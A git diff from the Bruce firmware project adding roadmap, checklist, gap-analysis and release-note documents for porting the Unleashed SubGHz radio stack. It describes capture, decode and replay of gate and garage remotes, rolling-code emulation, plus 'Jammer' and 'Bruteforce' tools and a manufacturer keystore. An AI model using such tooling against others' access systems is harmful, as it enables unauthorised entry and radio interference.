 .../subghz_advanced/subghz_advanced_menu.cpp  | 168 ++++++++-
 .../subghz_advanced_subfile_codec.cpp         |  35 +-
 .../subghz_advanced_transmitter_adapter.cpp   | 340 +++++++++++++++++
 .../subghz_advanced_transmitter_adapter.h     |  13 +
 tools/subghz_protocol_coverage_check.py       |  83 ++++
 tools/subghz_unleashed_sample_matrix.py       | 355 ++++++++++++++++++
 25 files changed, 2074 insertions(+), 76 deletions(-)
 create mode 100644 SUBGHZ_MIGRATION_ROADMAP.md
 create mode 100644 SUBGHZ_PARITY_CHECKLIST.md
 create mode 100644 SUBGHZ_UNLEASHED_DOCS_GAP_ANALYSIS.md
 create mode 100644 SUBGHZ_V1_RELEASE_NOTES.md
 create mode 100644 SUBGHZ_V1_SAMPLE_MATRIX.md
 create mode 100644 src/modules/subghz_advanced/subghz_advanced_transmitter_adapter.cpp
 create mode 100644 src/modules/subghz_advanced/subghz_advanced_transmitter_adapter.h
 create mode 100755 tools/subghz_protocol_coverage_check.py
 create mode 100755 tools/subghz_unleashed_sample_matrix.py

diff --git a/SUBGHZ_MIGRATION_ROADMAP.md b/SUBGHZ_MIGRATION_ROADMAP.md
new file mode 100644
index 000000000..cd64e68b6
--- /dev/null
+++ b/SUBGHZ_MIGRATION_ROADMAP.md
@@ -0,0 +1,120 @@
+# Roadmap de Migracao SubGHz (Bruce <- Unleashed)
+
+Data de atualizacao: 2026-05-23  
+Branch de trabalho: `subghz_improvements`
+
+## Objetivo
+
+Integrar a stack `subghz` do Unleashed no Bruce sem alterar vendor, mantendo compatibilidade com fluxos legados (`rf,subghz`) e evoluindo identificacao de protocolo, analise de chave/counter e TX protocol-native.
+
+## Status Geral
+
+- [x] Base arquitetural da migracao concluida (vendor + compat + bridge + adapter).
+- [x] Menu principal `SubGHz` avancado integrado e funcional.
+- [x] RX avancado (scan/decode/analyze/recent/filter/profile) funcional.
+- [x] TX avancado por `.sub` funcional com fallback seguro para legado.
+- [~] Paridade de todas as cenas/fluxos do Unleashed em andamento.
+- [ ] Fechamento formal da v1 (testes de hardware completos + docs finais).
+- [x] Gap analysis baseado na documentacao oficial do Unleashed (`SUBGHZ_UNLEASHED_DOCS_GAP_ANALYSIS.md`).
+
+## Implementado
+
+### 1) Vendor, Compat e Bridge
+
+- [x] Snapshot vendorizado em `lib/subghz_unleashed_vendor/`.
+- [x] Politica de vendor imutavel aplicada (adaptacoes fora da pasta vendor).
+- [x] Camada compat em `lib/subghz_unleashed_compat/` para subset de `furi`, `furi_hal`, `FuriString`, `FlipperFormat`, `level_duration` e keystore.
+- [x] Bridge de build em `lib/subghz_unleashed_bridge/` com `environment`, `receiver`, `transmitter` e protocolos usados pelos perfis.
+- [x] Suporte a novos protocolos trazidos do upstream atual: `allstar_firefly`, `keyfinder`, `nord_ice`, ajustes em `keeloq` e correlatos.
+
+### 2) Modulo SubGHz Avancado
+
+- [x] `SubGhzAdvancedEngine` criado com:
+- [x] inicializacao e selecao de profile (`CORE`/`FULL`);
+- [x] filtro de protocolo;
+- [x] historico `Recent`;
+- [x] analise online e offline de `.sub`;
+- [x] TX com caminho avancado e fallback legado.
+- [x] `SubGhzAdvancedDecoderAdapter` criado com:
+- [x] decode de capturas RAW para protocolo real;
+- [x] normalizacao de frame (`protocol_name`, `frequency_hz`, `bit_count`, `key_hex`, `counter`, `button`, `serial`, `raw_summary`);
+- [x] exposicao de registry e validacao de protocolo habilitado por profile.
+- [x] `SubGhzAdvancedTransmitterAdapter` criado com:
+- [x] `subghz_transmitter_deserialize + yield`;
+- [x] TX protocol-native sem alterar vendor;
+- [x] mapeamento de preset/modulacao para hardware Bruce.
+- [x] `SubGhzAdvancedSubFileCodec` criado para leitura Bruce + Flipper e enriquecimento com `Detected_*`.
+
+### 3) UI, CLI e JS
+
+- [x] Novo menu `SubGHz` no menu principal (sem remover `RF` legado).
+- [x] Estrutura `SubGHz Unified` com coexistencia de fluxos avancados e legado otimizado.
+- [x] Cenas implementadas no menu avancado:
+- [x] RX (`Scan & Identify`, `Scan/Copy`, `Decoder UI`, `Rolling UI`);
+- [x] TX (`Replay Last RX`, `Transmit .sub`, `Transmit Last`);
+- [x] Analyze (`Analyze .sub`, `Analyze Last TX`);
+- [x] `Recent` e `Settings` (`CORE/FULL`, filtro, frequencia, range).
+- [x] Submenu `Legacy+ Tools` no `SubGHz` com funcionalidades herdadas do `RF`:
+- [x] `Scan/copy`, `Record RAW`, `Custom SubGhz`, `Spectrum`, `RSSI Spectrum`, `SquareWave Spec`, `Spectogram`, `Listen`, `Bruteforce`, `Jammer`, `RF Config`.
+- [x] CLI `subghz_adv` aditiva:
+- [x] `rx`, `tx_file`, `analyze_file`, `protocols`, `profile`, `filter`.
+- [x] JS aditivo em `subghzAdvanced`:
+- [x] `read(timeoutSec?)`, `analyzeFile(path)`, `transmitFile(path, hideDefaultUI?)`.
+- [x] Checklist de paridade legado->unificado em `SUBGHZ_PARITY_CHECKLIST.md`.
+
+### 4) Otimizacoes no Legado (sem breaking changes)
+
+- [x] Enriquecimento do legado com decode avancado em RX (`Detected_Protocol`, `Detected_Key`, `Detected_Serial`, `Detected_Button`, `Detected_Counter`).
+- [x] Persistencia de metadados detectados em arquivos `.sub` salvos pelo legado.
+- [x] `subghz tx_from_file` e `subghz tx_from_buffer` agora tentam TX avancado primeiro e fazem fallback para RcSwitch.
+- [x] `sendCustomRF()` atualizado para aproveitar TX avancado quando o arquivo permitir.
+
+### 5) Cobertura de Protocolo e Validacao
+
+- [x] Script `tools/subghz_protocol_coverage_check.py` criado.
+- [x] `FULL` sincronizado com vendor com exclusao intencional de `RAW`/`BinRAW`.
+- [x] Matriz de validacao de amostras upstream gerada em `SUBGHZ_V1_SAMPLE_MATRIX.md`.
+- [x] Cobertura de fixtures: `CORE 17/17`, `FULL 46/56` (10 protocolos sem fixture upstream).
+- [x] Nota de release v1 gerada em `SUBGHZ_V1_RELEASE_NOTES.md`.
+- [x] Build validado em:
+- [x] `m5stack-cplus2`;
+- [x] `lilygo-t-embed-cc1101`.
+
+## Pendente
+
+### P0 (necessario para fechar v1)
+
+- [ ] Rodar validacao de hardware com sinais reais (minimo 3 capturas) e registrar resultados.
+- [x] Rodar bateria de amostras `.sub` do upstream (minimo 10) e registrar matriz protocolo esperado vs detectado.
+- [x] Consolidar nota de release da v1 para equipe (escopo, limites, comandos e menus).
+
+### P1 (proxima iteracao recomendada)
+
+- [ ] Paridade mais profunda de interface rolling (estado, incrementos e UX de emulacao) comparada ao fluxo da biblioteca de origem.
+- [ ] Melhorar telas de `Scan/Copy` com mais contexto de key/counter e acao rapida por protocolo.
+- [ ] Implementar cenas `Add manually (Advanced)` para protocolos rolling prioritarios (FAAC SLH, BFT Mitto, Somfy Telis, Nice FloR-S, CAME Atomo, Alutech AT-4N).
+- [ ] Implementar editor de `CounterMode` por arquivo `.sub` (com validacao por protocolo).
+- [ ] Implementar opcoes de save com nome por `protocol+timestamp`.
+- [ ] Implementar suporte opcional a user frequencies/hopper (estilo `setting_user`).
+- [ ] Expandir testes automatizados para parser/transcoder de `.sub` (Bruce/Flipper e `Detected_*`).
+- [ ] Instrumentar comparativo de acuracia entre fluxo legado e avancado em cenarios selecionados.
+
+### P2 (hardening e manutencao)
+
+- [ ] Opcional: habilitar `RAW`/`BinRAW` no profile `FULL` via shims faltantes no compat (`float_tools`, helpers de storage e ajustes adicionais de API Furi).
+- [ ] Normalizar metadados de pin do vendor (`UPSTREAM_PIN.txt` e `README.md` do vendor apontam commits diferentes).
+- [ ] Cobrir protocolos ainda sem suporte direto no runtime (`Prastel`, `Airforce`, `HCS101`, `ZKTeco`) via sync upstream ou implementacao dedicada.
+- [ ] Documentar no wiki do projeto os novos fluxos `SubGHz` e comandos `subghz_adv`.
+
+## Riscos Conhecidos
+
+- Uso de protocolos que exigem recursos extras de compat pode requerer shims adicionais.
+- Cenarios rolling dependem de qualidade da captura, sincronismo de counter e material de keystore.
+- Sem bateria automatizada em hardware, regressao de campo ainda pode passar despercebida.
+
+## Criterio de Conclusao da v1
+
+- [ ] `SubGHz` avancado operacional no menu principal com RX/TX/Analyze/Recent/Settings.
+- [ ] Legado `rf,subghz` sem quebra de comportamento e com fallback funcional.
+- [ ] `subghz_adv` e `subghzAdvanced` estaveis nas rotas principais.
+- [ ] Build verde nos targets definidos e evidencias de teste de protocolo/hardware anexadas.
diff --git a/SUBGHZ_PARITY_CHECKLIST.md b/SUBGHZ_PARITY_CHECKLIST.md
new file mode 100644
index 000000000..f7042a408
--- /dev/null
+++ b/SUBGHZ_PARITY_CHECKLIST.md
@@ -0,0 +1,41 @@
+# SubGHz Legacy-to-Unified Parity Checklist
+
+Last update: 2026-05-23
+
+Goal: replace `RF` legacy module by `SubGHz` unified module without losing capabilities.
+
+## Legacy RF features mapped into SubGHz unified
+
+| Legacy RF feature | Unified location | Status |
+| --- | --- | --- |
+| Scan/copy | `SubGHz -> Legacy+ Tools -> Scan/copy (Legacy+)` | done |
+| Record RAW | `SubGHz -> Legacy+ Tools -> Record RAW` | done (`!LITE_VERSION`) |
+| Custom SubGhz | `SubGHz -> Legacy+ Tools -> Custom SubGhz` | done (`!LITE_VERSION`) |
+| Spectrum | `SubGHz -> Legacy+ Tools -> Spectrum` | done |
+| RSSI Spectrum | `SubGHz -> Legacy+ Tools -> RSSI Spectrum` | done (`!LITE_VERSION`) |
+| SquareWave Spec | `SubGHz -> Legacy+ Tools -> SquareWave Spec` | done (`!LITE_VERSION`) |
+| Spectogram | `SubGHz -> Legacy+ Tools -> Spectogram` | done (`!LITE_VERSION`) |
+| Listen | `SubGHz -> Legacy+ Tools -> Listen` | done (board/audio dependent) |
+| Bruteforce | `SubGHz -> Legacy+ Tools -> Bruteforce` | done (`!LITE_VERSION`) |
+| Jammer | `SubGHz -> Legacy+ Tools -> Jammer` | done (`!LITE_VERSION`) |
+| RF TX/RX pin + module/freq config | `SubGHz -> Legacy+ Tools -> RF Config` | done |
+
+## New advanced features kept in Unified
+
+| Advanced feature | Unified location | Status |
+| --- | --- | --- |
+| Protocol-native RX identify | `SubGHz -> RX (Advanced) -> Scan & Identify` | done |
+| Scan/copy with decode + rolling actions | `SubGHz -> RX (Advanced) -> Scan/Copy` | done |
+| Decoder registry and last decode UI | `SubGHz -> RX (Advanced) -> Decoder UI` | done |
+| Rolling interface from decoded frames | `SubGHz -> RX (Advanced) -> Rolling UI` | done |
+| Protocol-native TX from `.sub` with fallback | `SubGHz -> TX (Advanced)` | done |
+| Analyze `.sub` Bruce + Flipper | `SubGHz -> Analyze (Advanced)` | done |
+| Recent decoded frame history | `SubGHz -> Recent` | done |
+| Runtime profile/filter/frequency/range | `SubGHz -> Settings` | done |
+
+## Exit criteria to deprecate RF menu
+
+1. Manual regression pass confirms each legacy RF feature above works from `SubGHz` unified menu.
+2. CLI/JS legacy routes stay backward-compatible while unified routes remain stable.
+3. Hardware validation completed on at least one CC1101 board for RX/TX/scan paths.
+4. Team sign-off on removal plan for top-level `RF` menu entry.
diff --git a/SUBGHZ_UNLEASHED_DOCS_GAP_ANALYSIS.md b/SUBGHZ_UNLEASHED_DOCS_GAP_ANALYSIS.md
new file mode 100644
index 000000000..b5f50e7c6
--- /dev/null
+++ b/SUBGHZ_UNLEASHED_DOCS_GAP_ANALYSIS.md
@@ -0,0 +1,117 @@
+# SubGHz Unleashed Docs Gap Analysis (Bruce)
+
+Updated: 2026-05-23  
+Scope: mapear funcionalidades documentadas no Unleashed para plano de implementacao no Bruce.
+
+## Fontes analisadas
+
+- `ref/unleashed-firmware/documentation/SubGHzSupportedSystems.md`
+- `ref/unleashed-firmware/documentation/SubGHzRemoteProg.md`
+- `ref/unleashed-firmware/documentation/SubGHzCounterMode.md`
+- `ref/unleashed-firmware/documentation/SubGHzSettings.md`
+- `ref/unleashed-firmware/documentation/SubGHzRemotePlugin.md`
+- `ref/unleashed-firmware/ReadMe.md` (secoes Sub-GHz Library/HAL e Sub-GHz Main App)
+
+## Resumo executivo
+
+- Protocolos/sistemas documentados no `SubGHzSupportedSystems.md`: `63`.
+- Runtime `FULL` atual no Bruce (`SubGhzAdvancedDecoderAdapter`): `56` protocolos ativos (com `RAW/BinRAW` fora do profile FULL por decisao de v1).
+- Mapeamento documentacao -> runtime:
+- `59/63` cobertos diretamente ou via protocolo base equivalente.
+- `4/63` ainda sem cobertura direta no runtime atual: `Prastel`, `Airforce`, `HCS101`, `ZKTeco`.
+- Fluxo unificado ja cobre RX/TX/Analyze/Recent/Settings e coexistencia com legado.
+- Paridade completa de cenas do app SubGHz do Unleashed ainda esta parcial (principalmente `Add manually`, `CounterMode` UI, e configuracoes de frequencias/hopper via arquivo de settings).
+
+## Cobertura de protocolos (doc -> Bruce)
+
+### Cobertos diretamente no runtime FULL
+
+- CAME, CAME TWEE, CAME Atomo
+- KeeLoq, FAAC SLH, Nice FLO, Nice FloR-S
+- Somfy Telis, Somfy Keytis
+- Gate TX, Princeton, Linear, Linear Delta3
+- Security+ 1.0, Security+ 2.0
+- Holtek, Holtek HT12X, SMC5326
+- Doitrand, Dooya, Power Smart
+- Marantec, Marantec24, Mastercode, MegaCode
+- Honeywell, Honeywell WDB, Magellan, Legrand
+- Ansonic, BETT, Clemsa, Dickert MAHS
+- Alutech AT-4N, KingGates Stylo 4k
+- Beninca ARC, Ditec GOL4, Phoenix V2
+- Jarolift, KeyFinder, Nord ICE, Allstar Firefly
+- Hollarm, GangQi, Feron, Roger, Revers RB2, Elplast, Treadmill37, iDO, Nero Sketch, Nero Radio, Hormann, Intertechno V3, Hay21
+
+### Cobertos por equivalencia de protocolo base (nao protocolo dedicado)
+
+- AN-Motors AT4 -> base `KeeLoq` / fluxo rolling.
+- BFT Mitto -> base `KeeLoq` com seed/manufacturer.
+- Erreka -> base `KeeLoq` com manufacturer.
+- Nice One -> tratado hoje na familia `Nice FloR-S` (validar diferencas de campo/UX no roadmap).
+
+### Nao cobertos no runtime atual
+
+- Prastel
+- Airforce
+- HCS101
+- ZKTeco
+
+## Paridade de funcionalidades de app/UX (ReadMe + docs)
+
+| Funcionalidade documentada no Unleashed | Estado no Bruce | Observacao |
+| --- | --- | --- |
+| Menu SubGHz dedicado | done | `SubGHz Unified` ativo no menu principal |
+| RX avancado com identificacao de protocolo | done | `Scan & Identify`, `Scan/Copy`, `Decoder UI` |
+| TX de `.sub` com encoder protocol-native | done | via `SubGhzAdvancedTransmitterAdapter` com fallback legado |
+| Analyze `.sub` (Bruce + Flipper) | done | `Analyze (Advanced)` |
+| Rolling tools/UI | partial | preview/send/emulate existentes; falta paridade de cenas/wizards por protocolo |
+| Botoes custom por protocolo rolling (setas/hidden/prog) | partial | campo `Button` existe, mas falta UX dedicada estilo Unleashed |
+| `Add manually` expandido com protocolos rolling | missing | nao ha cena avancada de criacao manual equivalente |
+| CounterMode por protocolo rolling | partial | parse em `.sub` suportado no vendor; falta editor/UI no Bruce |
+| Save last used settings (SubGHz app state) | partial | freq/range existem; profile/filter/estado de cenas sem persistencia completa |
+| Naming com `protocol+timestamp` ao salvar | missing | fluxo atual salva por nome padrao |
+| Received list com delete rapido | missing | nao ha gesto equivalente no fluxo atual |
+| Ignore options por categoria/protocolo | missing | nao implementado no menu atual |
+| User frequencies/hopper via `subghz/assets/setting_user` | missing | Bruce usa lista interna; nao carrega `setting_user` do Unleashed |
+| SubGHz Remote (map de 5 botoes) | missing | funcionalidade/plugin ainda nao portada |
+
+## Observacoes de estabilidade para rollout
+
+- Existe incidente de reboot/panic em RX avancado com profile `FULL` no board `lilygo-t-embed-cc1101`, com stack apontando decode de `jarolift` em feed ao vivo.
+- Isso bloqueia considerarmos o `FULL` como pronto para campo sem hardening adicional.
+
+## Backlog recomendado (priorizado)
+
+### P0 - Estabilidade e seguranca operacional
+
+1. Reproduzir panic em build debug (`env:lilygo-t-embed-cc1101-debug`) e registrar stack simbolizado.
+2. Introduzir modo de mitigacao no FULL:
+   - blacklist temporaria de protocolos instaveis em live RX, ou
+   - toggle de profile seguro (`FULL_SAFE`) para campo.
+3. Adicionar guardrails no loop de decode ao vivo:
+   - limite de duracao/pulsos por frame,
+   - reset rigoroso da instancia receiver entre capturas.
+
+### P1 - Paridade funcional com docs do Unleashed
+
+1. Criar `Add manually (Advanced)` para protocolos prioritarios:
+   - FAAC SLH, BFT Mitto, Somfy Telis, Nice FloR-S, CAME Atomo, Alutech AT-4N.
+2. Criar editor de `CounterMode` por arquivo `.sub` (com validacao por protocolo).
+3. Criar UI de botoes custom por protocolo rolling (atalhos de setas por perfil).
+4. Implementar naming opcional `protocol+timestamp` nos saves de capture.
+5. Portar opcoes de ignore por categoria/protocolo no decoder avancado.
+6. Implementar carregamento opcional de frequencias/hopper via arquivo estilo `setting_user`.
+
+### P2 - Expansao de cobertura e consolidacao
+
+1. Tratar os 4 protocolos ainda sem cobertura (`Prastel`, `Airforce`, `HCS101`, `ZKTeco`):
+   - checar se existem implementacoes upstream novas e sincronizar vendor,
+   - caso nao existam, manter como backlog de protocolo novo.
+2. Empacotar keystore default de fabricantes para melhorar UX KeeLoq out-of-box.
+3. Adicionar teste automatizado de conformidade doc->runtime em CI (lista de protocolos + aliases).
+
+## Definicao de pronto para esta trilha
+
+- `SubGHz Unified` cobre fluxos legado+avancado sem perda funcional.
+- RX/TX avancado em hardware CC1101 sem reboot em bateria de sinais reais.
+- Cenas prioritarias de rolling/manual (P1) entregues com UX consistente.
+- Checklist de cobertura contra docs atualizado a cada sync de vendor.
diff --git a/SUBGHZ_V1_RELEASE_NOTES.md b/SUBGHZ_V1_RELEASE_NOTES.md
new file mode 100644
index 000000000..fd5219115
--- /dev/null
+++ b/SUBGHZ_V1_RELEASE_NOTES.md
@@ -0,0 +1,75 @@
+# SubGHz Advanced v1 - Release Notes
+
+Date: 2026-05-23
+Scope: Bruce SubGHz migration from Unleashed library via adapter/compat (no vendor source edits)
+
+## Highlights
+
+- Added advanced `SubGHz` main menu while keeping legacy `RF` menu unchanged.
+- Added advanced RX decode pipeline with protocol-native identification.
+- Added advanced TX path for `.sub` files using protocol-native transmitters with safe fallback to legacy RcSwitch TX.
+- Added offline `.sub` analysis for Bruce and Flipper formats.
+- Added protocol profiles:
+- `CORE`: default compact set for general boards.
+- `FULL`: full runtime registry for CC1101-oriented targets (except intentional `RAW/BinRAW` exclusion).
+
+## New Surfaces
+
+- CLI group: `subghz_adv`
+- `subghz_adv rx [freq] [timeout]`
+- `subghz_adv tx_file <path>`
+- `subghz_adv analyze_file <path>`
+- `subghz_adv protocols`
+- `subghz_adv profile <core|full>`
+- `subghz_adv filter <protocol|off>`
+
+- JS namespace: `subghzAdvanced`
+- `subghzAdvanced.read(timeoutSec?)`
+- `subghzAdvanced.analyzeFile(path)`
+- `subghzAdvanced.transmitFile(path, hideDefaultUI?)`
+
+## Legacy Compatibility
+
+- Existing legacy routes remain additive and backward-compatible.
+- Legacy RX save flow now enriches captures with detected fields when available:
+- `Detected_Protocol`
+- `Detected_Key`
+- `Detected_Serial`
+- `Detected_Button`
+- `Detected_Counter`
+- Legacy TX commands (`tx_from_file`, `tx_from_buffer`, `sendCustomRF`) attempt advanced TX first and fallback to RcSwitch behavior.
+
+## Validation Artifacts
+
+- Protocol registry coverage check:
+- `tools/subghz_protocol_coverage_check.py`
+- Current result: `FULL` in sync with vendor registry excluding intentional `RAW/BinRAW`.
+
+- Upstream sample matrix:
+- `SUBGHZ_V1_SAMPLE_MATRIX.md`
+- Decoder fixtures parsed: `47`
+- CORE fixture coverage: `17/17`
+- FULL fixture coverage: `46/56`
+
+## Known Limits (v1)
+
+- `RAW/BinRAW` remains intentionally disabled in FULL runtime profile in v1.
+- Full parity for all Unleashed UI scenes is still in progress.
+- 10 FULL protocols currently have no upstream decoder fixture in the imported unit-test battery:
+- `Allstar Firefly`
+- `Beninca ARC`
+- `Cham_Code`
+- `Ditec GOL4`
+- `Elplast`
+- `Honeywell Sec`
+- `Jarolift`
+- `KeyFinder`
+- `Nord ICE`
+- `Treadmill37`
+- Hardware validation with live captures is still pending for formal v1 closure.
+
+## Recommended Next Steps
+
+1. Capture live RF samples for the 10 FULL-only protocols without fixture coverage.
+2. Run hardware validation on at least one CC1101 target and append evidence to the sample matrix.
+3. Decide whether v1.1 should include optional `RAW/BinRAW` enablement via additional compat shims.
diff --git a/SUBGHZ_V1_SAMPLE_MATRIX.md b/SUBGHZ_V1_SAMPLE_MATRIX.md
new file mode 100644
index 000000000..6f733e350
--- /dev/null
+++ b/SUBGHZ_V1_SAMPLE_MATRIX.md
@@ -0,0 +1,171 @@
+# SubGHz V1 Sample Validation Matrix
+
+Generated: `2026-05-23`
+
+## Summary
+- Decoder samples parsed: `47`
+- Encoder samples parsed: `34`
+- Decoder sample types: `raw=47`, `key=0`
+- Unique expected decoder protocols: `46`
+- Files missing from fixture directory: `0`
+- Unresolved expected protocol macros: `0`
+- Minimum battery target (>=10 samples): `PASS`
+- CORE fixture coverage: `17/17`
+- FULL fixture coverage: `46/56`
+- CORE fixture completeness gate: `PASS`
+
+## Decoder Samples (from Unleashed unit tests)
+| Sample                    | Expected Protocol | Expected In CORE | Expected In FULL | Type | File |
+| ------------------------- | ----------------- | ---------------- | ---------------- | ---- | ---- |
+| came_atomo_raw.sub        | CAME Atomo        | yes              | yes              | raw  | ok   |
+| came_raw.sub              | CAME              | yes              | yes              | raw  | ok   |
+| came_twee_raw.sub         | CAME TWEE         | yes              | yes              | raw  | ok   |
+| faac_slh_raw.sub          | Faac SLH          | yes              | yes              | raw  | ok   |
+| gate_tx_raw.sub           | GateTX            | no               | yes              | raw  | ok   |
+| hormann_hsm_raw.sub       | Hormann HSM       | no               | yes              | raw  | ok   |
+| ido_117_111_raw.sub       | iDo 117/111       | no               | yes              | raw  | ok   |
+| doorhan_raw.sub           | KeeLoq            | yes              | yes              | raw  | ok   |
+| nero_radio_raw.sub        | Nero Radio        | no               | yes              | raw  | ok   |
+| nero_sketch_raw.sub       | Nero Sketch       | no               | yes              | raw  | ok   |
+| nice_flo_raw.sub          | Nice FLO          | yes              | yes              | raw  | ok   |
+| nice_flor_s_raw.sub       | Nice FloR-S       | yes              | yes              | raw  | ok   |
+| Princeton_raw.sub         | Princeton         | yes              | yes              | raw  | ok   |
+| Somfy_keytis_raw.sub      | Somfy Keytis      | no               | yes              | raw  | ok   |
+| somfy_telis_raw.sub       | Somfy Telis       | no               | yes              | raw  | ok   |
+| linear_raw.sub            | Linear            | yes              | yes              | raw  | ok   |
+| linear_delta3_raw.sub     | LinearDelta3      | yes              | yes              | raw  | ok   |
+| megacode_raw.sub          | MegaCode          | yes              | yes              | raw  | ok   |
+| security_pls_1_0_raw.sub  | Security+ 1.0     | yes              | yes              | raw  | ok   |
+| security_pls_2_0_raw.sub  | Security+ 2.0     | yes              | yes              | raw  | ok   |
+| holtek_raw.sub            | Holtek            | yes              | yes              | raw  | ok   |
+| power_smart_raw.sub       | Power Smart       | yes              | yes              | raw  | ok   |
+| marantec_raw.sub          | Marantec          | no               | yes              | raw  | ok   |
+| bett_raw.sub              | BETT              | no               | yes              | raw  | ok   |
+| doitrand_raw.sub          | Doitrand          | yes              | yes              | raw  | ok   |
+| phoenix_v2_raw.sub        | Phoenix_V2        | no               | yes              | raw  | ok   |
+| honeywell_wdb_raw.sub     | Honeywell         | no               | yes              | raw  | ok   |
+| magellan_raw.sub          | Magellan          | no               | yes              | raw  | ok   |
+| intertechno_v3_raw.sub    | Intertechno_V3    | no               | yes              | raw  | ok   |
+| clemsa_raw.sub            | Clemsa            | no               | yes              | raw  | ok   |
+| ansonic_raw.sub           | Ansonic           | no               | yes              | raw  | ok   |
+| smc5326_raw.sub           | SMC5326           | no               | yes              | raw  | ok   |
+| holtek_ht12x_raw.sub      | Holtek_HT12X      | yes              | yes              | raw  | ok   |
+| dooya_raw.sub             | Dooya             | no               | yes              | raw  | ok   |
+| alutech_at_4n_raw.sub     | Alutech AT-4N     | no               | yes              | raw  | ok   |
+| nice_one_raw.sub          | Nice FloR-S       | yes              | yes              | raw  | ok   |
+| kinggates_stylo4k_raw.sub | KingGates Stylo4k | no               | yes              | raw  | ok   |
+| mastercode_raw.sub        | Mastercode        | no               | yes              | raw  | ok   |
+| dickert_raw.sub           | Dickert_MAHS      | no               | yes              | raw  | ok   |
+| legrand_raw.sub           | Legrand           | no               | yes              | raw  | ok   |
+| marantec24_raw.sub        | Marantec24        | no               | yes              | raw  | ok   |
+| roger_raw.sub             | Roger             | no               | yes              | raw  | ok   |
+| feron_raw.sub             | Feron             | no               | yes              | raw  | ok   |
+| gangqi_raw.sub            | GangQi            | no               | yes              | raw  | ok   |
+| hollarm_raw.sub           | Hollarm           | no               | yes              | raw  | ok   |
+| revers_rb2_raw.sub        | Revers_RB2        | no               | yes              | raw  | ok   |
+| hay21_raw.sub             | Hay21             | no               | yes              | raw  | ok   |
+
+## Encoder Samples (from Unleashed unit tests)
+| Sample               | Protocol Field | Type | File |
+| -------------------- | -------------- | ---- | ---- |
+| princeton.sub        | Princeton      | key  | ok   |
+| came.sub             | CAME           | key  | ok   |
+| came_twee.sub        | CAME TWEE      | key  | ok   |
+| gate_tx.sub          | GateTX         | key  | ok   |
+| nice_flo.sub         | Nice FLO       | key  | ok   |
+| doorhan.sub          | KeeLoq         | key  | ok   |
+| linear.sub           | Linear         | key  | ok   |
+| linear_delta3.sub    | LinearDelta3   | key  | ok   |
+| megacode.sub         | MegaCode       | key  | ok   |
+| holtek.sub           | Holtek         | key  | ok   |
+| security_pls_1_0.sub | Security+ 1.0  | key  | ok   |
+| security_pls_2_0.sub | Security+ 2.0  | key  | ok   |
+| power_smart.sub      | Power Smart    | key  | ok   |
+| marantec.sub         | Marantec       | key  | ok   |
+| bett.sub             | BETT           | key  | ok   |
+| doitrand.sub         | Doitrand       | key  | ok   |
+| phoenix_v2.sub       | Phoenix_V2     | key  | ok   |
+| honeywell_wdb.sub    | Honeywell      | key  | ok   |
+| magellan.sub         | Magellan       | key  | ok   |
+| intertechno_v3.sub   | Intertechno_V3 | key  | ok   |
+| clemsa.sub           | Clemsa         | key  | ok   |
+| ansonic.sub          | Ansonic        | key  | ok   |
+| smc5326.sub          | SMC5326        | key  | ok   |
+| holtek_ht12x.sub     | Holtek_HT12X   | key  | ok   |
+| dooya.sub            | Dooya          | key  | ok   |
+| mastercode.sub       | Mastercode     | key  | ok   |
+| dickert_mahs.sub     | Dickert_MAHS   | key  | ok   |
+| legrand.sub          | Legrand        | key  | ok   |
+| feron.sub            | Feron          | key  | ok   |
+| gangqi.sub           | GangQi         | key  | ok   |
+| hollarm.sub          | Hollarm        | key  | ok   |
+| revers_rb2.sub       | Revers_RB2     | key  | ok   |
+| roger.sub            | Roger          | key  | ok   |
+| marantec24.sub       | Marantec24     | key  | ok   |
+
+## Expected Decoder Protocols
+
+- `Alutech AT-4N`
+- `Ansonic`
+- `BETT`
+- `CAME`
+- `CAME Atomo`
+- `CAME TWEE`
+- `Clemsa`
+- `Dickert_MAHS`
+- `Doitrand`
+- `Dooya`
+- `Faac SLH`
+- `Feron`
+- `GangQi`
+- `GateTX`
+- `Hay21`
+- `Hollarm`
+- `Holtek`
+- `Holtek_HT12X`
+- `Honeywell`
+- `Hormann HSM`
+- `Intertechno_V3`
+- `KeeLoq`
+- `KingGates Stylo4k`
+- `Legrand`
+- `Linear`
+- `LinearDelta3`
+- `Magellan`
+- `Marantec`
+- `Marantec24`
+- `Mastercode`
+- `MegaCode`
+- `Nero Radio`
+- `Nero Sketch`
+- `Nice FLO`
+- `Nice FloR-S`
+- `Phoenix_V2`
+- `Power Smart`
+- `Princeton`
+- `Revers_RB2`
+- `Roger`
+- `SMC5326`
+- `Security+ 1.0`
+- `Security+ 2.0`
+- `Somfy Keytis`
+- `Somfy Telis`
+- `iDo 117/111`
+
+## Coverage vs Runtime Registry
+
+- CORE covered by decoder fixtures: `17/17`
+- FULL covered by decoder fixtures: `46/56`
+
+### FULL protocols without decoder fixture
+
+- `Allstar Firefly`
+- `Beninca ARC`
+- `Cham_Code`
+- `Ditec GOL4`
+- `Elplast`
+- `Honeywell Sec`
+- `Jarolift`
+- `KeyFinder`
+- `Nord ICE`
+- `Treadmill37`
diff --git a/boards/lilygo-t-embed-cc1101/lilygo-t-embed-cc1101.ini b/boards/lilygo-t-embed-cc1101/lilygo-t-embed-cc1101.ini
index e94a9837b..30faf559b 100644
--- a/boards/lilygo-t-embed-cc1101/lilygo-t-embed-cc1101.ini
+++ b/boards/lilygo-t-embed-cc1101/lilygo-t-embed-cc1101.ini
@@ -22,3 +22,19 @@ lib_deps =
 	${env.lib_deps}
 	lewisxhe/XPowersLib @^0.3.3
 	mathertel/RotaryEncoder @1.5.3
+
+[env:lilygo-t-embed-cc1101-debug]
+extends = env:lilygo-t-embed-cc1101
+build_type = debug
+build_flags =
+	${env:lilygo-t-embed-cc1101.build_flags}
+	-ggdb3
+	-fno-omit-frame-pointer
+	-DCORE_DEBUG_LEVEL=5
+
+[env:lilygo-t-embed-cc1101-diagnostics]
+extends = env:lilygo-t-embed-cc1101
+build_flags =
+	${env:lilygo-t-embed-cc1101.build_flags}
+	-ggdb3
+	-fno-omit-frame-pointer
diff --git a/lib/subghz_unleashed_bridge/library.json b/lib/subghz_unleashed_bridge/library.json
index c85a0e43b..7b0d83338 100644
--- a/lib/subghz_unleashed_bridge/library.json
+++ b/lib/subghz_unleashed_bridge/library.json
@@ -12,6 +12,7 @@
       "+<subghz/registry.c>",
       "+<subghz/environment.c>",
       "+<subghz/receiver.c>",
+      "+<subghz/transmitter.c>",
       "+<subghz/blocks/decoder.c>",
       "+<subghz/blocks/encoder.c>",
       "+<subghz/blocks/math.c>",
